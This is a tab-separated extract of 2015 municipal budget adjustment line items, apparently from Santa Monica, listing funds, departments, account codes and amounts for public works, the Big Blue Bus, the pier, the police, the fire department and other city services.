18020	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		UTIL-NATURAL GAS-CITY HAL	808.0	 Supplies and Expenses	2015	2100	0	0	0	0	0	0	0	0	0	0	0	2100
18021	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		UTILITIES-WATER-CITY YARDS	808.0	 Supplies and Expenses	2015	27795	0	0	0	0	0	0	0	0	0	0	0	27795
18022	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	544040.0	BOOKS / PAMPHLETS	816.0	 Supplies and Expenses	2015	51	0	0	0	0	0	0	0	0	0	0	0	51
18023	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND	555010.0	CONTRACTUAL SERVICES	804.0	 Supplies and Expenses	2015	800000	0	0	0	0	0	0	0	0	0	0	0	800000
18024	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	544170.0	UNIFORM / PROTECTIVE CLOTHING	808.0	 Supplies and Expenses	2015	27000	0	0	0	0	0	0	0	0	0	0	0	27000
18025	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	544170.0	UNIFORM / PROTECTIVE CLOTHING	808.0	 Supplies and Expenses	2015	2810	0	0	0	0	0	0	0	0	0	0	0	2810
18026	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522125.0	UTIL - NATURAL GAS - PSF	808.0	 Supplies and Expenses	2015	20900	0	0	0	0	0	0	0	0	0	0	0	20900
18027	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522910.0	VEHICLES - FUELS / LUBRICATION	808.0	 Supplies and Expenses	2015	22452	0	0	0	0	0	0	0	0	0	0	0	22452
18028	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522950.0	CNG FUEL	808.0	 Supplies and Expenses	2015	36274	0	0	0	0	0	0	0	0	0	0	0	36274
18029	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	523000.0	VEHICLE MGMT FUND-MAINTENANCE	808.0	 Supplies and Expenses	2015	176213	0	0	0	0	0	0	0	0	0	0	0	176213
18030	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		CUSTODIAL SUPP-TRIMANA	808.0	 Supplies and Expenses	2015	5000	0	0	0	0	0	0	0	0	0	0	0	5000
18031	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	533221.0	BLDG/STR MAINT-COM FAC	808.0	 Supplies and Expenses	2015	95000	0	0	0	0	0	0	0	0	0	0	0	95000
18032	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	533226.0	BLDG/STR MAINT-LIBRARY	808.0	 Supplies and Expenses	2015	170000	0	0	0	0	0	0	0	0	0	0	0	170000
18033	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	533223.0	BLDG/STR MAINT-ACCESS CENTER	808.0	 Supplies and Expenses	2015	15000	0	0	0	0	0	0	0	0	0	0	0	15000
18034	BA	IS	25	Water Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511840.0	PERS PAYDOWN SAVINGS	804.0	Salaries and Wages	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
18035	BA	IS	30	Pier Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511840.0	PERS PAYDOWN SAVINGS	804.0	Salaries and Wages	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
18036	BA	IS	58	Risk Management - Admin	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511840.0	PERS PAYDOWN SAVINGS	808.0	Salaries and Wages	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
18037	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	555110.0	LEGAL EXPENSE	804.0	 Supplies and Expenses	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
18038	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	555210.0	TRAINING	808.0	 Supplies and Expenses	2015	9800	0	0	0	0	0	0	0	0	0	0	0	9800
18039	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	544170.0	UNIFORM / PROTECTIVE CLOTHING	808.0	 Supplies and Expenses	2015	15800	0	0	0	0	0	0	0	0	0	0	0	15800
18040	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2015	420870	0	0	0	0	0	0	0	0	0	0	0	420870
18041	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		UNEMPLOYMENT	808.0	Salaries and Wages	2015	6590	0	0	0	0	0	0	0	0	0	0	0	6590
18042	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		DISABILITY INSURANCE	808.0	Salaries and Wages	2015	9963	0	0	0	0	0	0	0	0	0	0	0	9963
18043	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		UNEMPLOYMENT	808.0	Salaries and Wages	2015	2177	0	0	0	0	0	0	0	0	0	0	0	2177
18044	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		DCAP	808.0	Salaries and Wages	2015	214	0	0	0	0	0	0	0	0	0	0	0	214
18045	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2015	441	0	0	0	0	0	0	0	0	0	0	0	441
18046	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511681.0	VACANCY SAVINGS	808.0	Salaries and Wages	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
18047	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2015	80615	0	0	0	0	0	0	0	0	0	0	0	80615
18048	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2015	1405	0	0	0	0	0	0	0	0	0	0	0	1405
18049	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2015	839441	0	0	0	0	0	0	0	0	0	0	0	839441
18050	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2015	90059	0	0	0	0	0	0	0	0	0	0	0	90059
18051	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511749.0	VISION	808.0	Salaries and Wages	2015	7476	0	0	0	0	0	0	0	0	0	0	0	7476
18052	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		DISABILITY INSURANCE	808.0	Salaries and Wages	2015	20819	0	0	0	0	0	0	0	0	0	0	0	20819
18053	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	533010.0	PERSONAL PROTECTIVE EQUIPMENT	806.0	 Supplies and Expenses	2015	45789	0	0	0	0	0	0	0	0	0	0	0	45789
18054	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577762.0	CDBG REIMB-PUBLIC WORKS	908.0	 Supplies and Expenses	2015	-50000	0	0	0	0	0	0	0	0	0	0	0	-50000
18055	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	408000.0	INTERFUND SERVICES-ST MAINTENA	612.0	Charges for Service	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
18056	BA	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	555010.0	CONTRACTUAL SERVICES		 Supplies and Expenses	2015	58253	0	0	0	0	0	0	0	0	0	0	0	58253
18057	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	402970.0	SAMOHI TRACK RENTAL	618.0	Rentals	2015	-2300	0	0	0	0	0	0	0	0	0	0	0	-2300
18058	BA	IS	25	Water Fund	500	PUBLIC WORKS	672	CHARNOCK TREATMENT PLANT	555060.0	PROFESSIONAL SERVICES	808.0	 Supplies and Expenses	2015	421096	0	0	0	0	0	0	0	0	0	0	0	421096
18059	BA	IS	25	Water Fund	500	PUBLIC WORKS	673	ARCADIA TREATMENT PLANT	544012.0	MEMBRANE REPLACEMENT	808.0	 Supplies and Expenses	2015	276835	0	0	0	0	0	0	0	0	0	0	0	276835
18060	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	511749.0	VISION	840.0	Salaries and Wages	2015	868	0	0	0	0	0	0	0	0	0	0	0	868
18061	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE		EAP	808.0	Salaries and Wages	2015	619	0	0	0	0	0	0	0	0	0	0	0	619
18062	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2015	1144	0	0	0	0	0	0	0	0	0	0	0	1144
18063	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	555013.0	OUTSIDE REPAIRS - SHOP EQUIP		 Supplies and Expenses	2015	105852	0	0	0	0	0	0	0	0	0	0	0	105852
18064	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	555018.0	OUTSIDE REPAIRS/SERV-BUS STOP		 Supplies and Expenses	2015	133000	0	0	0	0	0	0	0	0	0	0	0	133000
18065	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	522130.0	UTILITIES - WATER	804.0	 Supplies and Expenses	2015	2725	0	0	0	0	0	0	0	0	0	0	0	2725
18066	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2015	242338	0	0	0	0	0	0	0	0	0	0	0	242338
18067	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	511748.0	DENTAL	808.0	Salaries and Wages	2015	11120	0	0	0	0	0	0	0	0	0	0	0	11120
18068	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS		EAP	804.0	Salaries and Wages	2015	1029	0	0	0	0	0	0	0	0	0	0	0	1029
18069	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	522120.0	UTILITIES - NATURAL GAS	810.0	 Supplies and Expenses	2015	19500	0	0	0	0	0	0	0	0	0	0	0	19500
18070	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	522310.0	OFFICE SUPPLIES / EXPENSE	810.0	 Supplies and Expenses	2015	24000	0	0	0	0	0	0	0	0	0	0	0	24000
18071	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	544200.0	SPORTS SUPPLIES	810.0	 Supplies and Expenses	2015	45000	0	0	0	0	0	0	0	0	0	0	0	45000
18072	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	544340.0	INDIRECT COST ALLOCATION	810.0	 Supplies and Expenses	2015	239561	0	0	0	0	0	0	0	0	0	0	0	239561
18073	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	588090.0	FURNITURE & FURNISHINGS	810.0	 Supplies and Expenses	2015	161470	0	0	0	0	0	0	0	0	0	0	0	161470
18074	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	510000.0	SALARIES AND WAGES	810.0	Salaries and Wages	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
18075	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE		EAP	804.0	Salaries and Wages	2015	1338	0	0	0	0	0	0	0	0	0	0	0	1338
18076	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	522820.0	CONFERENCES/MEETINGS/TRAVEL	810.0	 Supplies and Expenses	2015	200	0	0	0	0	0	0	0	0	0	0	0	200
18077	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	522825.0	FOOD PURCHASES	810.0	 Supplies and Expenses	2015	1000	0	0	0	0	0	0	0	0	0	0	0	1000
18078	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DCAP	804.0	Salaries and Wages	2015	144	0	0	0	0	0	0	0	0	0	0	0	144
18079	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2015	2639	0	0	0	0	0	0	0	0	0	0	0	2639
18080	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2015	3540	0	0	0	0	0	0	0	0	0	0	0	3540
18081	BA	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	561112.0	CLARE COORDINATED CASE MGMT	808.0	 Supplies and Expenses	2015	4130	0	0	0	0	0	0	0	0	0	0	0	4130
18082	BA	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	544160.0	RIDESHARE PROGRAM	816.0	 Supplies and Expenses	2015	96000	0	0	0	0	0	0	0	0	0	0	0	96000
18083	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2015	11792	0	0	0	0	0	0	0	0	0	0	0	11792
18084	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	511490.0	OVERTIME	808.0	Salaries and Wages	2015	50072	0	0	0	0	0	0	0	0	0	0	0	50072
18085	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	511730.0	WORKERS' COMP INSURANCE	808.0	Salaries and Wages	2015	181464	0	0	0	0	0	0	0	0	0	0	0	181464
18086	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2015	4027	0	0	0	0	0	0	0	0	0	0	0	4027
18087	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	522160.0	TRANSFER STATION FEE	808.0	 Supplies and Expenses	2015	32000	0	0	0	0	0	0	0	0	0	0	0	32000
18088	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	522950.0	CNG FUEL	808.0	 Supplies and Expenses	2015	8100	0	0	0	0	0	0	0	0	0	0	0	8100
18089	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	408000.0	INTERFUND SERVICES-PUBLIC LAND	612.0	Charges for Service	2015	-86610	0	0	0	0	0	0	0	0	0	0	0	-86610
18090	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511730.0	WORKERS' COMP INSURANCE	808.0	Salaries and Wages	2015	16462	0	0	0	0	0	0	0	0	0	0	0	16462
18091	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		DCAP	808.0	Salaries and Wages	2015	504	0	0	0	0	0	0	0	0	0	0	0	504
18092	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		DISABILITY INSURANCE	808.0	Salaries and Wages	2015	4756	0	0	0	0	0	0	0	0	0	0	0	4756
18093	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	533020.0	GENERAL LIABILITY / AUTO	808.0	 Supplies and Expenses	2015	450052	0	0	0	0	0	0	0	0	0	0	0	450052
18094	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	408000.0	INTERFUND SERVICES-OPEN SP	612.0	Charges for Service	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
18095	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	555210.0	TRAINING	808.0	 Supplies and Expenses	2015	2000	0	0	0	0	0	0	0	0	0	0	0	2000
18096	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2015	68672	0	0	0	0	0	0	0	0	0	0	0	68672
18097	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511748.0	DENTAL	808.0	Salaries and Wages	2015	3839	0	0	0	0	0	0	0	0	0	0	0	3839
18098	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		EAP	808.0	Salaries and Wages	2015	2186	0	0	0	0	0	0	0	0	0	0	0	2186
18099	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522160.0	TRANSFER STATION FEE	808.0	 Supplies and Expenses	2015	600	0	0	0	0	0	0	0	0	0	0	0	600
18100	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522950.0	CNG FUEL	808.0	 Supplies and Expenses	2015	20000	0	0	0	0	0	0	0	0	0	0	0	20000
18101	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522120.0	UTILITIES - NATURAL GAS	810.0	 Supplies and Expenses	2015	1000	0	0	0	0	0	0	0	0	0	0	0	1000
18102	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	533030.0	PROPERTY INSURANCE	810.0	 Supplies and Expenses	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
18103	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	533730.0	MOBILE DATA EQUIP & MAINT	806.0	 Supplies and Expenses	2015	70319	0	0	0	0	0	0	0	0	0	0	0	70319
18104	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	410100.0	FIRE MISCELLANEOUS REVENUE	622.0	Other	2015	-20000	0	0	0	0	0	0	0	0	0	0	0	-20000
18105	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	401420.0	TRANSACTION AND USE TAX	604.0	Sales Tax	2015	-15675000	0	0	0	0	0	0	0	0	0	0	0	-15675000
18106	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	579003.0	DISCRET-CRADLE TO CAREER	804.0	 Supplies and Expenses	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
18107	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	579007.0	DISCRET-ORD ELECTION FEES	804.0	 Supplies and Expenses	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
18108	BA	IS	20	Miscellaneous Grants Fund	310	FIRE	312	FIRE - ADMINISTRATION	406799.0	13 UASI GRANT	610.0	Intergovernmental	2015	-752076	0	0	0	0	0	0	0	0	0	0	0	-752076
18109	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	408150.0	ALT FUEL TAX CREDIT	622.0	Other	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
18110	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	533123.0	CITY YARDS CNG STN MAINT	808.0	 Supplies and Expenses	2015	15500	0	0	0	0	0	0	0	0	0	0	0	15500
18111	BA	IS	14	TORCA Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	404060.0	INT DEP / INVESTMENT	616.0	Investment Income	2015	-50000	0	0	0	0	0	0	0	0	0	0	0	-50000
18112	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522900.0	MEMBERSHIPS AND DUES	820.0	 Supplies and Expenses	2015	500	0	0	0	0	0	0	0	0	0	0	0	500
18113	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	544040.0	BOOKS / PAMPHLETS	808.0	 Supplies and Expenses	2015	500	0	0	0	0	0	0	0	0	0	0	0	500
18114	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	555130.0	TOXIC CHEMICAL	804.0	 Supplies and Expenses	2015	280800	0	0	0	0	0	0	0	0	0	0	0	280800
18115	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522910.0	VEHICLES - FUELS / LUBRICATION	808.0	 Supplies and Expenses	2015	1308	0	0	0	0	0	0	0	0	0	0	0	1308
18116	BA	IS	20	Miscellaneous Grants Fund	500	PUBLIC WORKS	402	ENGINEERING	405452.0	HBP- FHWA CAL INCLINE CONSTRUC	610.0	Intergovernmental	2015	-9000000	0	0	0	0	0	0	0	0	0	0	0	-9000000
18117	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	404330.0	KEN EDWARDS CENTER PARKING	608.0	Licenses and Permits	2015	-27000	0	0	0	0	0	0	0	0	0	0	0	-27000
18118	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	407180.0	VALET LICENSING FEES	608.0	Licenses and Permits	2015	-102000	0	0	0	0	0	0	0	0	0	0	0	-102000
18119	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	408230.0	MIDTOWN PARKING LOTS	608.0	Licenses and Permits	2015	-225000	0	0	0	0	0	0	0	0	0	0	0	-225000
18120	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	410050.0	SCE OBF INCTV	622.0	Other	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
18121	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	522560.0	DOWNTOWN ADVERTISING	804.0	 Supplies and Expenses	2015	50000	0	0	0	0	0	0	0	0	0	0	0	50000
18122	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	544390.0	OTHER COSTS	804.0	 Supplies and Expenses	2015	10000	0	0	0	0	0	0	0	0	0	0	0	10000
18123	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	555010.0	CONTRACTUAL SERVICES	808.0	 Supplies and Expenses	2015	29992	0	0	0	0	0	0	0	0	0	0	0	29992
18124	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	407692.0	TAXI VEHICLE PERMIT FEES	612.0	Charges for Service	2015	-22176	0	0	0	0	0	0	0	0	0	0	0	-22176
18125	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	402010.0	SM PIER - RENTAL	650.0	Charges for Service	2015	-3077068	0	0	0	0	0	0	0	0	0	0	0	-3077068
18126	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	402020.0	SM PIER - PARKING LOTS	650.0	Charges for Service	2015	-1486144	0	0	0	0	0	0	0	0	0	0	0	-1486144
18127	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	405170.0	CAM FEES	650.0	Charges for Service	2015	-418523	0	0	0	0	0	0	0	0	0	0	0	-418523
18128	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	561406.0	DIRECT SERVICES		 Supplies and Expenses	2015	76242	0	0	0	0	0	0	0	0	0	0	0	76242
18129	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511711.0	MEDICARE-POLICE	806.0	Salaries and Wages	2015	3502	0	0	0	0	0	0	0	0	0	0	0	3502
18130	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511771.0	RETIREMENT - POLICE	806.0	Salaries and Wages	2015	113642	0	0	0	0	0	0	0	0	0	0	0	113642
18131	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2015	-20244	0	0	0	0	0	0	0	0	0	0	0	-20244
18132	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT		UNEMPLOYMENT	804.0	Salaries and Wages	2015	1769	0	0	0	0	0	0	0	0	0	0	0	1769
18133	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2015	485875	0	0	0	0	0	0	0	0	0	0	0	485875
18134	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	522900.0	MEMBERSHIPS AND DUES	804.0	 Supplies and Expenses	2015	1000	0	0	0	0	0	0	0	0	0	0	0	1000
18135	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	555210.0	TRAINING	804.0	 Supplies and Expenses	2015	195764	0	0	0	0	0	0	0	0	0	0	0	195764
18136	BA	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	578391.0	BIKE VALET - PROP A  LOCAL RET	808.0	 Supplies and Expenses	2015	40000	0	0	0	0	0	0	0	0	0	0	0	40000
18137	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	408580.0	ALARM REGISTRATION FEE	608.0	Licenses and Permits	2015	-151200	0	0	0	0	0	0	0	0	0	0	0	-151200
18138	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	522110.0	UTIL - LIGHT / POWER	806.0	 Supplies and Expenses	2015	9206	0	0	0	0	0	0	0	0	0	0	0	9206
18139	BA	IS	20	Miscellaneous Grants Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	406101.0	STRATEGIC PREVENTION FRAME- ST	610.0	Intergovernmental	2015	-27947	0	0	0	0	0	0	0	0	0	0	0	-27947
18140	BA	IS	4	Special Revenue Source Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400750.0	INT DEP / INVESTMENT	616.0	Investment Income	2015	-3000	0	0	0	0	0	0	0	0	0	0	0	-3000
18141	BA	IS	20	Miscellaneous Grants Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	578851.0	BULLETPROOF VEST GRANT - 2014	806.0	 Supplies and Expenses	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
18142	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON		DCAP	804.0	Salaries and Wages	2015	280	0	0	0	0	0	0	0	0	0	0	0	280
18143	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2015	5000	0	0	0	0	0	0	0	0	0	0	0	5000
18144	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	544170.0	UNIFORM / PROTECTIVE CLOTHING	804.0	 Supplies and Expenses	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
18145	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	555060.0	PROFESSIONAL SERVICES	804.0	 Supplies and Expenses	2015	157000	0	0	0	0	0	0	0	0	0	0	0	157000
18146	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	409310.0	AUTO PARK PERMIT	608.0	Licenses and Permits	2015	-12000	0	0	0	0	0	0	0	0	0	0	0	-12000
18147	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	579012.0	DISCRET-VIRGINIA AVE PROJECT	804.0	 Supplies and Expenses	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
18148	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	577830.0	WATER CONSERVATION REBATES		 Supplies and Expenses	2015	4658000	0	0	0	0	0	0	0	0	0	0	0	4658000
18149	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING	544301.0	SAFETY SOFTWARE MAINTENANCE		 Supplies and Expenses	2015	25000	0	0	0	0	0	0	0	0	0	0	0	25000
18150	BA	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	555010.0	CONTRACTUAL SERVICES	812.0	 Supplies and Expenses	2015	4500	0	0	0	0	0	0	0	0	0	0	0	4500
